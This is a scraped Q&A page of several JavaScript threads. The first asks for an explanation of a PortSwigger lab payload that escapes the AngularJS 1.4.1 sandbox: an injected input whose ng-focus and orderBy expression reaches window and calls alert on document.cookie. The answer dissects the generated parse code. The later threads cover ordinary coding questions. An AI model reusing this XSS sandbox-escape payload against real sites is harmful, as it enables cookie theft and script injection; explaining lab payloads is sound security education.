Plz explain this Angular JS script: - javascript

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.1/angular.min.js"></script>
<script>
location='https://www.example.com/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
Angular JS Version: 1.4.1 (which still uses Angular JS Sandbox)
Can anyone explain the script inside location variable after the search part?
Specifically what is going inside the orderBy function? - '(z=alert)(docuement.cookie)'#x
How is the alert function being called? etc.
I came across it while solving this lab: https://portswigger.net/web-security/cross-site-scripting/contexts/angularjs-sandbox/lab-angular-sandbox-escape-and-csp
Please let me know if my question needs any more clarification. You can even point me to the specific place at the angularJs docs where this is discussed.

First of all the #x is not part of the orderBy-expression. It is the url fragment. This causes the browser to focus on the input element, thus triggering the ng-focus event.
Just so that we are on the same page here. This is the injected code: <input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>
The high level view of the exploit is provided by the solution on the page you linked:
The exploit uses the ng-focus event in AngularJS to create a focus event that bypasses CSP. It also uses $event, which is an AngularJS variable that references the event object. The path property is specific to Chrome and contains an array of elements that triggered the event. The last element in the array contains the window object.
Normally, | is a bitwise or operation in JavaScript, but in AngularJS it indicates a filter operation, in this case the orderBy filter. The colon signifies an argument that is being sent to the filter. In the argument, instead of calling the alert function directly, we assign it to the variable z. The function will only be called when the orderBy operation reaches the window object in the $event.path array. This means it can be called in the scope of the window without an explicit reference to the window object, effectively bypassing AngularJS's window check.
However this does not explain how the alert function is actually called. The solution is hidden in the depths of the AngularJS source code. AngularJS uses its $parse-service to parse expression given to it in attributes. As stated above the expression is a filter-expression using the orderBy-filter. The orderBy-filter implements a function, that takes an array ($event.path) and a sort expression ('(z=alert)(document.cookie)') as arguments and returns the ordered array.
What does the orderBy-filter do with the sort expression?
The sort expression is evaluated against the elements of the array to extract the key which should be used to order the elements. (There are plenty of examples in the doc: https://code.angularjs.org/1.4.1/docs/api/ng/filter/orderBy). How does the orderBy-filter do this? It passes the sort expression to the $parse function to transform it into a JS function. The resulting function looks like this:
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4, v5 = l && ('z'in l), v6 = l && ('alert'in l), v7, v8, v9 = l && ('document'in l);
v4 = v5 ? l : s;
if (!(v5)) {
if (s) {
v3 = s.z;
}
} else {
v3 = l.z;
}
if (v4 != null) {
if (!(v6)) {
if (s) {
v2 = s.alert;
}
} else {
v2 = l.alert;
}
ensureSafeObject(v4.z, text);
v1 = v4.z = v2;
if (v1 != null) {
ensureSafeFunction(v1, text);
if (!(v9)) {
if (s) {
v8 = s.document;
}
} else {
v8 = l.document;
}
if (v8 != null) {
v7 = v8.cookie;
}
v0 = ensureSafeObject(v1(ensureSafeObject(v7, text)), text);
}
}
return v0;
};
This function is called for every element in $event.path. It is pretty ugly so I tried to clean it up a bit and make it easier to follow:
var fn = function(element, l, a, i) {
// element is the element from $event.path all other parameters are undefined
// these are all falsy
const hasLPropertyZ = l && ('z'in l);
const hasLPropertyAlert = l && ('alert'in l);
const hasLPropertyDocument = l && ('document'in l);
const elementOrL = hasLPropertyZ ? l : element;
// this block is useless
let elementZ;
if (!(hasLPropertyZ)) {
if (element) {
elementZ = element.z;
}
} else {
elementZ = l.z;
}
// ----------------------
let returnValue;
if (elementOrL != null) {
// here begins the real action. We are reading the alert property from our element.
let elementAlert;
if (!(hasLPropertyAlert)) {
if (element) {
elementAlert = element.alert;
}
} else {
elementAlert = l.alert;
}
ensureSafeObject(elementOrL.z, text);
// and assigning it to property z of our element
// this is the (z=alert) part of the expression
const alertFunction = elementOrL.z = elementAlert;
// if the alertFunction is null (on all elements except the window element) we don't do anything.
if (alertFunction != null) {
// one would think that we would get caught here, but this function only checks for call, apply, bind and the function constructor
ensureSafeFunction(alertFunction, text);
// here we are reading window.document
let theDocument;
if (!(hasLPropertyDocument)) {
if (element) {
theDocument = element.document;
}
} else {
theDocument = l.document;
}
// then we read document.cookie
let theCookie;
if (theDocument != null) {
theCookie = theDocument.cookie;
}
// executing alert
returnValue = ensureSafeObject(alertFunction(ensureSafeObject(theCookie, text)), text);
}
}
return returnValue;
};
return fn;
As you can see, this function essentially implements the following code:
function(element) {
const alertFunction = element.alert;
element.z = alertFunction;
alertFunction(element.document.cookie);
}
I hope this helps. Let me know if I can clarify something.

Related

Can I magically make the selectors non-functional if the selection value is empty?

Background:
I have a function that I call like this:
hide_modules('string1','string2');
The function is something like:
function hide_modules(param1,param2) {
MM.getModules()
.withClass(param1)
.exceptWithClass(param2)
.enumerate(function(module) {
module.hide(
// some other code
);
});
}
Most of the time I call the function with values as shown above.
Sometimes I do not want 'string1' to have a value and I'd like the my function to not use that first selector, effectively like this:
MM.getModules()
// .withClass(param1)
.exceptWithClass(param2)
.enumerate(function(module) {
module.hide(
// some other code
);
});
I've tried just calling it with an empty string, 0, false as param1 but the end result class selection is not what I want.
Sometimes I also call it with param2 empty and not wanting to have the param2 related selector used either.
So the question is:
Without writing a big if-then-else statement, is there some fancy way I can make those selectors non-functional (the equivalent of commenting it out like above) when the param1 and/or param2 values are not specified?
The supporting code that my function calls is provided for me in a 3rd party library that I can't change. I include some of the relevant parts here as it may help with the answer:
var withClass = function (className) {
return modulesByClass(className, true);
};
var modulesByClass = function (className, include) {
var searchClasses = className;
if (typeof className === "string") {
searchClasses = className.split(" ");
}
var newModules = modules.filter(function (module) {
var classes = module.data.classes.toLowerCase().split(" ");
for (var c in searchClasses) {
var searchClass = searchClasses[c];
if (classes.indexOf(searchClass.toLowerCase()) !== -1) {
return include;
}
}
return !include;
});
Since js doesn't supports function overloading, the only way is to validate your parameters inside your method. Check for truthy and ternary operator will do the trick
var modules = MM.getModules();
modules = param1 ? modules.withClass(param1) : modules;
modules = param2 ? modules.exceptWithClass(param2) : modules;
modules.enumerate(function(module) {
module.hide(
// some other code
);
});
to skip first parameter
hide_modules(null,'string2');
to skip second parameter
hide_modules('string1');

How to write regular expression to find all function names in a string?

I would like to know writing regular expression for the following string to find all function names.
"var sampleFunc = function(){return 'hello';}alert(sampleFunc());function sampleTest(){var sampleTestVar = 'one';};var sampleFunc = function(){return 'hello';}alert(sampleFunc());function sampleTest(){var sampleTestVar = 'one';};"
The above string contains simple JS program. I would like to get the output for the above string as,
["sampleFunc", "sampleTest", "sampleFunc", "sampleTest"]
Help me in writing regular expression for the above problem.
Ok, here is another approach. In this safer and reliable approach, I used acorn which is a library used by CodeMirror's TernJS for parsing javascript. CodeMirror is a very powerful web-based code editor, used almost everywhere (even here on SO).
The code:
First, here is the code:
HTML:
<script src="path/to/accorn.js"></script>
<script src="path/to/walk.js"></script>
Javascript:
function getFunctionNames(codeString) {
var names = [];
acorn.walk.simple(acorn.parse(codeString), {
AssignmentExpression: function(node) {
if(node.left.type === "Identifier" && (node.right.type === "FunctionExpression" || node.right.type === "ArrowFunctionExpression")) {
names.push(node.left.name);
}
},
VariableDeclaration: function(node) {
node.declarations.forEach(function (declaration) {
if(declaration.init && (declaration.init.type === "FunctionExpression" || declaration.init.type === "ArrowFunctionExpression")) {
names.push(declaration.id.name);
}
});
},
Function: function(node) {
if(node.id) {
names.push(node.id.name);
}
}
});
return names;
}
Example:
function getFunctionNames(codeString) {
var names = [];
acorn.walk.simple(acorn.parse(codeString), {
AssignmentExpression: function(node) {
if(node.left.type === "Identifier" && (node.right.type === "FunctionExpression" || node.right.type === "ArrowFunctionExpression")) {
names.push(node.left.name);
}
},
VariableDeclaration: function(node) {
node.declarations.forEach(function (declaration) {
if(declaration.init && (declaration.init.type === "FunctionExpression" || declaration.init.type === "ArrowFunctionExpression")) {
names.push(declaration.id.name);
}
});
},
Function: function(node) {
if(node.id) {
names.push(node.id.name);
}
}
});
return names;
}
console.log(getFunctionNames(`
var sampleFunc = function() {
return 'hello';
}
/*
function thisIsNotReallyAFunction() {}
*/
alert(sampleFunc());
function /* undesired comment */ sampleTest() {
var sampleTestVar = 'one';
};
var sampleFunc=
// still OK!
function() {
return 'hello';
}
alert(sampleFunc());
function
// all sotrts of comments
sampleTest()
/* Even
* Block ones
*/
{
var sampleTestVar = 'one';
};
var sampleFuncEDIT;
sampleFunEDIT = function (){};
var functionNameEDIT = "sampleFunc";
`));
<script src="https://cdnjs.cloudflare.com/ajax/libs/acorn/5.2.1/acorn.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/acorn/5.2.1/walk.js"></script>
Explanation:
For a thorough explanation, check out acorn's GitHub page here.
acorn is split into a bunch of source files, each responsible for a specific job. We used only acorn.js and walk.js.
acorn.js is used for parsing. It contains a lot of useful functions used for parsing such as acorn.parse(), acorn.parseExpressionAt(), acorn.tokenizer(), ... We are only interested in acorn.parse which return an AST (abstract syntax tree. Which is basically a tree structure of nodes. A node describes a meaningful chunk of code, it could be of an assignment, a function call, a variable declaration, ... A node will be an object that has properties describing that chunk of code. It will have a type property, a start (where the chunk of code starts), an end (where it ends), and each type of node will have some additional properties only used for that type.
Now, that we have the AST tree, we can walk through it ourselves (they are just a bunch of nested objects anyway). Or use acorn's way: acorn provides us with a very powerful way of walking this tree. The functions are in the file walk.js. Same as acorn.js, walk.js also contain a bunch of useful functions, we only need walk.simple(). What walk.simple does, is that it takes a tree and another object as parameters. The tree is our AST tree (returned by acorn.parse), and the object is an object of this form:
{
[NodeType1]: function(node) { /* node is of type NodeType1 */ },
[NodeType2]: function(node) { /* node is of type NodeType2 */ },
...
}
As walk.simple walks the tree, node by node, it checks if there is a function for the current node's type, if there is one, it will call that function (passing to it the node itself) and proceed to the next node, if not it will ignore the node and proceed to the next node. From the various node types we are only interested in:
Function:
Which is basically a normal function declaration such as:
var codeString = `
function f () {
};
function someName() {
};
() => {
};`;
acorn.walk.simple(acorn.parse(codeString), {
Function: function(node) {
console.log(node);
}
});
<script src="https://cdnjs.cloudflare.com/ajax/libs/acorn/5.2.1/acorn.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/acorn/5.2.1/walk.js"></script>
Some of the additional properties pairs are: id (which is an identifier node, used for this function declaration, or null if the function doesn't have one). The identifier node, if exist, have a name property, which will be the name of our function.
VariableDeclaration:
Which is any variable declaration using var, let or const:
var codeString = `
var e, f = function() {}, g = () => {};
`;
acorn.walk.simple(acorn.parse(codeString), {
VariableDeclaration: function(node) {
console.log(node);
}
});
<script src="https://cdnjs.cloudflare.com/ajax/libs/acorn/5.2.1/acorn.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/acorn/5.2.1/walk.js"></script>
This type of nodes will also have some additional properties such as declarations which is an array of all declarations (the example above shows 3: one for e, one for f and one for g). The declarations are also nodes, which have the additional id (the identifier node) and init (the initialization object which is a node describing the value we assign to the variable at initialization or null if it doesn't exist). We are only interested if init.type was a function node (either "FunctionExpression" or "ArrowFunctionExpression").
AssignmentExpression:
Which is any assignment using = (not to be confused with variable initialization):
var codeString = `
someVar = function() {
}
`;
acorn.walk.simple(acorn.parse(codeString), {
AssignmentExpression: function(node) {
console.log(node);
}
});
<script src="https://cdnjs.cloudflare.com/ajax/libs/acorn/5.2.1/acorn.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/acorn/5.2.1/walk.js"></script>
This node object will have an additional left (left-hand operand) and right (right-hand operand) properties, which are both nodes. We are only interested if the left node was an identifier node and the right node was a function node.
Notes:
acorn.parse throws an error if the actual code string has a syntax error in it. So you may want to wrap its call in a try-catch statement to handle that case, and then pass its result to acorn.walk.simple if only no errors were thrown.
If you don't want to include a type, just remove it from the object and provide only the types you want. Say for example you don't want to include AssignmentExpression, then just remove it from the object passed to acorn.walk.simple
You can have different arrays for different types of functions. Same as of my other answer: varFunctions, functionFunction and assignmentFunctions.
I hope this is helpful and understandable.
First you have to remove undesired comments that may contain confusing content (see the example bellow), then remove all new lines and finally remove block comments. Then you can match the function names. There are two types, ones declared using funcName = function and others declared using function funcName. Both need different regexps.
Working code:
function getNames(text) {
text = text.replace(/\/\/.*?\r?\n/g, "") // first, remove line comments
.replace(/\r?\n/g, " ") // then remove new lines (replace them with spaces to not break the structure)
.replace(/\/\*.*?\*\//g, ""); // then remove block comments
// PART 1: Match functions declared using: var * = function
var varFuncs = (text.match(/[$A-Z_][0-9A-Z_$]*\s*=\s*function[( ]/gi) || []) // match any valid function name that comes before \s*=\s*function
.map(function(tex) { // then extract only the function names from the matches
return tex.match(/^[$A-Z_][0-9A-Z_$]*/i)[0];
});
// PART 2: Match functions declared using: function *
var functionFuncs = (text.match(/function\s+[^(]+/g) || []) // match anything that comes after function and before (
.map(function(tex) { // then extarct only the names from the matches
return tex.match(/[$A-Z_][0-9A-Z_$]*$/i)[0];
});
return {
var: varFuncs,
function: functionFuncs
};
}
var text =
`var sampleFunc = function() {
return 'hello';
}
/*
function thisIsNotReallyAFunction() {}
*/
alert(sampleFunc());
function /* undesired comment */ sampleTest() {
var sampleTestVar = 'one';
};
var sampleFunc=
// still OK!
function() {
return 'hello';
}
alert(sampleFunc());
function
// all sotrts of comments
sampleTest()
/* Even
* Block ones
*/
{
var sampleTestVar = 'one';
};
var sampleFuncEDIT = function (){};
var functionNameEDIT = "sampleFunc";
`;
var names = getNames(text);
console.log(names);
Notes:
Function names can contain various other unicode characters that can't be matched using the above regex [$A-Z_][0-9A-Z_$]*. ECMA Specs.
Even if we remove the comments, there could be other factors that may confuse the function (for example strings). The above presents a simple use case, if you are looking for an advanced way of doing this then you need to parse the string, not use regexes.
Here are some examples where the function won't work:
var text = "var dummyString = 'function thisShouldntBeMatchedButWillBe';"
var text = "someString = 'this /* will confuse the comment removal'";
// ...
var re=/(\w+)\(\)/g
// var re=/([\w_-]+)\(\)/g
var rslt = s.match(re)
Still keep it simple.

Get object out of observable array

Why is m "undefined" in this code:
currentViewModel = ko.mapping.fromJS(viewModel);
currentViewModel.getReport = function(reportId) {
for(var i=0;i<currentViewModel.availableReports().length;i++) {
if(currentViewModel.availableReports()[i].id == reportId) {
var m = currentViewModel.availableReports()[i];
return currentViewModel.availableReports()[i];
}
}
}
I call getReport() as an onclick event and I want to send the report object to a view (modal) I can do a foreach on the availableReports and it's all there. When I run through the debugger, it loops through the array and finds the right one. But why can't I pull it out of the array? "m" remains undefined the the function returns undefined.
What am I missing here?
EDIT: there is a follow up question here:
Can knockout.js wait to bind until an onClick?
You just need to change if(currentViewModel.availableReports()[i].id ... to if(currentViewModel.availableReports()[i].id() ... because after mapping id will become an observable, i.e. function.
Updated code:
currentViewModel = ko.mapping.fromJS(viewModel);
currentViewModel.getReport = function(reportId) {
for (var i = 0; i < currentViewModel.availableReports().length; i++) {
if (currentViewModel.availableReports()[i].id() == reportId) {
var m = currentViewModel.availableReports()[i];
return currentViewModel.availableReports()[i];
}
}
}
Demo - Fiddle.
I'll repeat the solution from #NikolayErmakov's answer here, but want to add two things to get a more complete answer. You end with:
...m remains undefined and the function returns undefined.
What am I missing here?
You're missing two things:
The var m bit of the first statement inside the if is hoisted to the top of the current scope (the top of the function). This is why the debugger can tell you what m is, even if you never reach the line of code it's on.
If a function invocation reaches the end of a function (as is the case for you, since you never go inside the if) without seeing an explicit return statement, it will return undefined.
To better understand this, you should interpret your function like this:
currentViewModel.getReport = function(reportId) {
var m;
for (var i = 0; i < currentViewModel.availableReports().length; i++) {
if (currentViewModel.availableReports()[i].id == reportId) {
m = currentViewModel.availableReports()[i];
return currentViewModel.availableReports()[i];
}
}
return undefined;
}
Some people (e.g. Douglas Crockford) do recommend placing var statements at the top of a function, though it's a matter of style to some degree. I don't think many people explicitly return undefined at the end of a function, though in your case I might be explicit about that scenario and return null (or throw an Error even).
As promised, I'll repeat the actual solution, as I concur with the other answer:
you need to invoke id as a function to get its value (because the mapping plugin will map to observable()s.
In addition:
I'd retrieve the array only once
I'd suggest using === instead of ==
Here's my v0.5 version:
currentViewModel.getReport = function(reportId) {
var m = null, reports = currentViewModel.availableReports();
for (var i = 0; i < reports.length; i++) {
if (reports[i].id() === reportId) {
m = reports[i];
return m;
}
}
return m;
}
But I'd optimize it to this v1.0:
currentViewModel.getReport = function(reportId) {
var reports = currentViewModel.availableReports();
for (var i = 0; i < reports.length; i++) {
if (reports[i].id() === reportId) {
return reports[i];
}
}
return null;
}
For completeness, here's another version that utilizes filter on arrays:
currentViewModel.getReport = function(reportId) {
var reports = currentViewModel.availableReports().filter(function(r) { return r.id() === reportId; });
return reports.length >= 1 ? reports[0] : null;
}

How do I call a function stored in a variable that is of indeterminate depth

I looked at this:
Calling a JavaScript function named in a variable
But it doesn't answer my question.
This normally works:
window['class']['sub_class']['function_name'](data);
But now I'm trying to make a general function that can handle any depth:
function callbackFunction(callback, data){
//callback = a.b.c, or a.b, or a
callback = explode(callback);
//I need to be able to call callbackFunction and somehow callback and form their proper form below
window[callback.a](data);
//or
window[callback.a][callback.b](data);
//or
window[callback.a][callback.b][callback.c](data);
}
I believe the duplicate suggested by Bergi will only solve half of your problem. Since your final value will be a function, and since that function is a member of an object, you'll end up executing it in the wrong context (i.e., with the wrong this value).
I suggest you use something like this:
function getCallback(path) {
var arr = path.split('.');
var k;
var fn = window;
while(k = arr.shift()) {
if(typeof fn[k] === "function") {
fn = fn[k].bind(fn);
} else {
fn = fn[k];
}
}
if(typeof fn === "function") return fn;
return function(){};
}
http://jsfiddle.net/7CEd5/
Compare the value of this in the callback with what you get by using the answers to Convert string in dot notation to get the object reference.
You can chain references to objects/sub-objects/etc for however long you want. If you have a point-delimited string (e.g. "document.blah.blah2.method"), then you need to split it to individual tokens (e.g. ["document", "blah", "blah2", "method"]).
Then it's simply a matter of looping through the chain:
var c = window;
for (var i = 0; i < chain.length - 1; i++) {
c = c[chain[i]];
}
c[chain[chain.length-1]](some_arguments);

If/Else Javascript statement to disable transition animation if failed

I have a navigation bar that has a hamburger menu button. The navigation menu worked on all browsers before I added an open/close javascript animation. On a few older browsers, the script will unfortunately prevent the menu from opening at all if clicked. But it works on most newer browsers. I need to make the script stop if it doesn't execute properly to let the older browsers be able to open the navigation bar.
I have written an easy fix to stop the script from executing if "something" is false.
if (something == false) {
<!--animation script goes here -->
stop
}
Changing "something" to different things has given me interesting results. If I change it to
if (data == false) {
<!--animation script goes here -->
stop
}
Then it will completely stop the script even in the browsers that ran the animation perfectly before.
My question is, what can I replace "something" with to make the script stop if it didn't run successfully?
Here is the animation script, if you need it. (Don't let it scare you. All I need is to stop this script if the animation fails.)
! function() {
"use strict";
function e() {
var e, t = document.createElement("div"),
n = {
transition: "transitionend",
OTransition: "otransitionend",
MozTransition: "transitionend",
WebkitTransition: "webkitTransitionEnd"
};
for (e in n)
if (n.hasOwnProperty(e) && void 0 !== t.style[e]) return n[e];
return !1
}
function t(e) {
var t = {};
e = e || window.event, t.evTarget = e.currentTarget || e.srcElement;
var n = t.evTarget.getAttribute("data-target");
return t.dataTarget = n ? document.querySelector(n) : !1, t
}
function n(e) {
var t = e.style.height;
e.style.height = "auto";
var n = getComputedStyle(e).height;
return e.style.height = t, e.offsetHeight, n
}
function a(e, t) {
if (document.createEvent) {
var n = document.createEvent("HTMLEvents");
n.initEvent(t, !0, !1), e.dispatchEvent(n)
} else e.fireEvent("on" + t)
}
function r(e, t) {
e.classList.remove("collapse"), e.classList.add("collapsing"), t.classList.remove("collapsed"), t.setAttribute("aria-expanded", !0), e.style.height = n(e), u ? e.addEventListener(u, function() {
s(e)
}, !1) : s(e)
}
function i(e, t) {
e.classList.remove("collapse"), e.classList.remove("in"), e.classList.add("collapsing"), t.classList.add("collapsed"), t.setAttribute("aria-expanded", !1), e.style.height = getComputedStyle(e).height, e.offsetHeight, e.style.height = "0px"
}
function s(e) {
e.classList.remove("collapsing"), e.classList.add("collapse"), e.setAttribute("aria-expanded", !1), "0px" !== e.style.height && (e.classList.add("in"), e.style.height = "auto")
}
function o(e) {
e.preventDefault();
var n = t(e),
a = n.dataTarget;
return a.classList.contains("in") ? i(a, n.evTarget) : r(a, n.evTarget), !1
}
function l(e) {
function n() {
try {
i.parentNode.removeChild(i), a(i, "closed.bs.alert")
} catch (e) {
window.console.error("Unable to remove alert")
}
}
e.preventDefault();
var r = t(e),
i = r.dataTarget;
if (!i) {
var s = r.evTarget.parentNode;
s.classList.contains("alert") ? i = s : s.parentNode.classList.contains("alert") && (i = s.parentNode)
}
return a(i, "close.bs.alert"), i.classList.remove("in"), u && i.classList.contains("fade") ? i.addEventListener(u, function() {
n()
}, !1) : n(), !1
}
function c(e) {
e = e || window.event;
var t = e.currentTarget || e.srcElement;
return t.parentElement.classList.toggle("open"), !1
}
function d(e) {
e = e || window.event;
var t = e.currentTarget || e.srcElement;
return t.parentElement.classList.remove("open"), e.relatedTarget && "dropdown" !== e.relatedTarget.getAttribute("data-toggle") && e.relatedTarget.click(), !1
}
for (var u = e(), g = document.querySelectorAll("[data-toggle=collapse]"), v = 0, f = g.length; f > v; v++) g[v].onclick = o;
for (var p = document.querySelectorAll("[data-dismiss=alert]"), h = 0, m = p.length; m > h; h++) p[h].onclick = l;
for (var L, T = document.querySelectorAll("[data-toggle=dropdown]"), y = 0, E = T.length; E > y; y++) L = T[y], L.setAttribute("tabindex", "0"), L.onclick = c, L.onblur = d}();
I was thinking someone may be able to just say something like "if (transition == false) { stop }" or something that does that, that would be perfect.
Step 1
Let's begin by determining how we want to call our function. We'll keep things simple here; something like the following should do the trick:
if ( supports('textShadow') ) {
document.documentElement.className += ' textShadow';
}
That should be the final function call. When we pass a CSS property name to the supports() function, it'll return a boolean. If true, we'll attach a className to the documentElement, or <html>. This will then provide us with a new 'class' name to hook onto, from our stylesheet.
Step 2
Next, we'll construct the supports() function.
var supports = (function() {
})();
Why aren't we making supports equal to a standard function? The answer is because we have a bit of prep work to do first, and there's absolutely no reason to repeat those tasks over and over every single time the function is called. In cases like this, it's best to make supports equal to whatever is returned from the self-executing function.
Step 3
To test whether or not the browser supports specific properties, we need to create a dummy element, for testing. This generated element will never actually be inserted into the DOM; think of it as a test dummy!
var div = document.createElement('div');
As you're probably aware of, there are a handful of vendor-prefixes that we can use, when working with CSS3 properties:
-moz
-webkit
-o
-ms
-khtml
Our JavaScript will need to filter through those prefixes, and test them. So, let's place them in an array; we'll call it, vendors.
var div = document.createElement('div'),
vendors = 'Khtml Ms O Moz Webkit'.split(' ');
Using the split() function to create an array from a string is admittedly lazy, but it saves a handful of seconds!
As we'll be filtering through this array, let's be good boys and girls, and cache the length of the array as well.
var div = document.createElement('div'),
vendors = 'Khtml Ms O Moz Webkit'.split(' '),
len = vendors.length;
The prep work, above, is static, in nature, and doesn't need to be repeated every time we call supports(). This is why we only run it once, when the page loads. Now, let's return the function that will actually be assigned to the supports variable.
return function(prop) {
};
The beauty of closures is that, even though supports() is equal to that returned function, it still has access to the div, vendors, and len variables.
Step 4
The immediate test: if the passed property is available to the div's style attribute, we know the browser supports the property; so return true.
return function(prop) {
if ( prop in div.style ) return true;
};
Think of, say, the text-shadow CSS3 property. Most modern browsers support it, without the need for a vendor prefix. With that in mind, why filter through all of the prefixes if we don't need to? That's why we place this check at the top.
Step 5
You're likely used to typing CSS3 property names, like so: -moz-box-shadow. However, if, in Firebug, you review the style object, you'll find that it's spelled, MozBoxShadow. As such, if we test:
'mozboxShadow' in div.style // false
False will be returned. This value is case-sensitive.
Case Sensitive
This means that, if the user passes boxShadow to the supports() function, it'll fail. Let's think ahead, and check if the first letter of the argument is lowercase. If it is, we'll fix the error for them.
return function(prop) {
if ( prop in div.style ) return true;
prop = prop.replace(/^[a-z]/, function(val) {
return val.toUpperCase();
});
};
Regular expressions to the rescue! Above, we're checking if there is a single lowercase letter at the beginning of the string (^). Only on the condition that one is found, we use the toUpperCase() function to capitalize the letter.
Step 6
We next need to filter through the vendors array, and test if there's a match. For instance, if box-shadow is passed, we should test if the style attribute of the div contains any of the following:
MozBoxShadow
WebkitBoxShadow
MsBoxShadow
OBoxShadow
KhtmlBoxShadow
If a match is found, we can return true, because the browser does, indeed, provide support for box shadows!
return function(prop) {
if ( prop in div.style ) return true;
prop = prop.replace(/^[a-z]/, function(val) {
return val.toUpperCase();
});
while(len--) {
if ( vendors[len] + prop in div.style ) {
return true;
}
}
};
Though we could use a for statement to filter through the array, there's no real need to in this case.
The order isn't important
while statements are quicker to type, and require fewer characters
There's a tiny performance improvement
Don't be confused by vendors[len] + prop; simply replace those names with their real-life values: MozBoxShadow.
Step 7
But, what if none of those values match? In that case, the browser doesn't seem to support the property, in which case we should return false.
while(len--) {
if ( vendors[len] + prop in div.style ) {
return true;
}
}
return false;
That should do it for our function! Let's test it out, by applying a className to the html element, if the browser supports, say, the text-stroke property (which only webkit does).
if ( supports('textStroke') ) {
document.documentElement.className += ' textStroke';
}
Step 8:
Usage
With a class name that we can now hook onto, let's try it out in our stylesheet.
/* fallback */
h1 {
color: black;
}
/* text-stroke support */
.textStroke h1 {
color: white;
-webkit-text-stroke: 2px black;
}
Final Source Code
var supports = (function() {
var div = document.createElement('div'),
vendors = 'Khtml Ms O Moz Webkit'.split(' '),
len = vendors.length;
return function(prop) {
if ( prop in div.style ) return true;
prop = prop.replace(/^[a-z]/, function(val) {
return val.toUpperCase();
});
while(len--) {
if ( vendors[len] + prop in div.style ) {
// browser supports box-shadow. Do what you need.
// Or use a bang (!) to test if the browser doesn't.
return true;
}
}
return false;
};
})();
if ( supports('textShadow') ) {
document.documentElement.className += ' textShadow';
}
source: copy pasted from here
For a more comprehensive solution, refer to the Modernizr library.

Categories

Resources